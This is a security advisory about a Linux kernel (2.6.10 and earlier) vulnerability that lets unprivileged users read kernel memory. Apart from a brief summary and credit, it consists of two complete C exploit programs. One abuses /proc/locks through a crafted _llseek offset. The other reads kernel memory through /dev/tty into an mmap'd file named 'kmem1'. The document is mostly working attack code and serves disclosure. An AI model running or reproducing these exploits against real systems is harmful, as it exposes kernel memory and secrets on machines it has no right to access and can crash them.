[EXPL] Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory

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  Linux Vulnerability Allows Non-Privileged Users to Read Kernel Memory
------------------------------------------------------------------------


SUMMARY

The Linux operating system version 2.6.10 and prior contains a 
vulnerability that allows non-privileged users to read kernel memory. The 
following two exploits illustrate the issue.

DETAILS

Vulnerable Systems:
 * Linux version 2.6.10 and prior

Exploit #1:
/*
* copyright georgi guninski
* cannot be used in vulnerability databases like securityfocus and mitre
*
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/file.h>
#include <syscall.h>
#include <errno.h>

_syscall5(int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
uint, wh)

void makefiles()
{
int cou,fv;
char vn[242];
for(cou=0;cou<920;cou++)
{
snprintf(vn,sizeof(vn),"TEMPFILEMAYBEDELETE%d.%d",getpid(),cou);
fv=open(vn,O_CREAT|O_RDWR,S_IRWXU);
if (fv <0) perror("open2");
if (flock(fv,LOCK_EX) == -1) perror("flock");

}
while(42);
}

int main(int ac, char **av)
{
int fd,fv,i,cou;
void *mv;
char *he,*he2;
loff_t lr;
char c;


printf("\n\nThis may seriously screw your box\n\n");
printf("This creates a lot of files 'TEMPFILEMAYBEDELE*' in cwd\n");
printf("Press 'Y' to run it\n");
read(0,&c,1);
if (c != 'Y') return 42;
cou=5;
printf("creating files...\n");
while(cou--)
if (!fork())
makefiles();

sleep(20);
printf("starting...\n");
system("sync");
fd=open("/proc/locks",O_RDONLY);
if (fd <0) perror("open");
he=malloc(1024*1024*8);
he2=malloc(1024*1024*8);


if (-1 == _llseek(fd,42,0x80004242,&lr,SEEK_SET)) perror("llseek");
i=read(fd,he2, 0x80004242);
perror("read");
printf("read=%d mv=%x fv=%x\n %.300s",i,(int)mv,fv,he2);
while(42);
return 42;
}

Exploit #2:
/*
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases like security focus and mitre
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <term.h>
#include <sys/mman.h>


int main(int ac, char **av)
{
int fd,fv;
int cou=4242,i;
char *bu;
struct termios ti;
struct termios ol;
char zer[1024];

fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&ti,0,sizeof(ti));
fv=open("kmem1",O_CREAT|O_RDWR|O_TRUNC,S_IRWXU);
if (fv <0 ) perror("open2");

/* how much to read in kilobytes*/
i=40*1024;

memset(zer,0,sizeof(zer));
while(i--) write(fv,zer,sizeof(zer));

bu=mmap(0,0x80000000,PROT_READ|PROT_WRITE,MAP_SHARED,fv,0);
if (-1 == (long) bu) perror("mmap");
printf("bu=%x\n",(int)bu);
if (ioctl(fd,TCGETS,&ti) < 0) perror("TCGETS");
ol=ti;
ti.c_lflag &= (~ICANON & ~ISIG & ~ICRNL & ~IXON & ~OPOST );
if (ioctl(fd,TCSETS,&ti) < 0) perror("TCSETS");
if (!fork())
{sleep(3);ioctl(fd,TIOCSTI,&cou);exit(0);};
sleep(2);
cou=read(fd,bu,0x80000000);
printf("read=%d\n",cou);
perror("read");

if (ioctl(fd,TCSETS,&ol) < 0) perror("TCSETS");
printf("done. check 'kmem1'");
system("reset");
return 42;
}


ADDITIONAL INFORMATION

The information has been provided by Georgi Guninski.



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